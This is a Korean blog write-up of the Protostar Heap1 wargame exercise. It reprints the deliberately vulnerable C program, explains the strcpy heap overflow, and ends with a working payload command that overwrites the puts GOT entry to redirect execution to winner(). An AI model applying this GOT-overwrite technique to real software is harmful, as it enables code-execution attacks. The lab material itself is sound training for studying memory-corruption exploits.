ii4gsp

Exploit Exercises [Protostar - Heap1] 본문

시스템 해킹/Exploit Exercises - Protostar

Exploit Exercises [Protostar - Heap1]

ii4gsp 2020. 1. 18. 19:28
include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

internet이라는 구조체가 선언 되있고 i1, i2 변수를 internet 구조체의 크기 8바이트 만큼 메모리를 할당 해주고있다.

name 멤버 변수에 argv[1], argv[2]의 값을 strcpy() 함수로 복사하고있다.

strcpy() 함수에서 힙 오버플로우가 일어난다.

 

 

 

 

malloc 이후 break point를 걸어주었다.

 

 

 

 

0x804a008 주소에 메모리가 할당되었다.

 

 

 

 

<main+161>부분에 break point를 걸어주고 값을 넣고 heap의 상태를 보자

0x0804a018부분은 i1->name이고 0x0804a038은 i2->name이다.

 

 

 

 

i1->name에서 20byte만큼 값을채우면 i2의 포인터에 접근할 수 있다.

winner()함수의 주소를 구해주자

 

 

 

 

winner() 함수의 주소는 0x8048494 이다.

 

 

 

 

printf() 함수가 최적화 때문에 puts()함수로 패치되었다.

puts()함수의 got를 구해 puts() 함수의 got가 winner() 함수를 호출하도록 바꿔주면된다.

페이로드는 dummy[20] + got + winner() 함수 주소

 

 

 

 

winner() 함수가 실행되어 "and we have a winner"이라는 문자가 출력되었다.

 

payload

./heap1 $(python -c 'print "\x90" * 20 + "\x74\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"')
Comments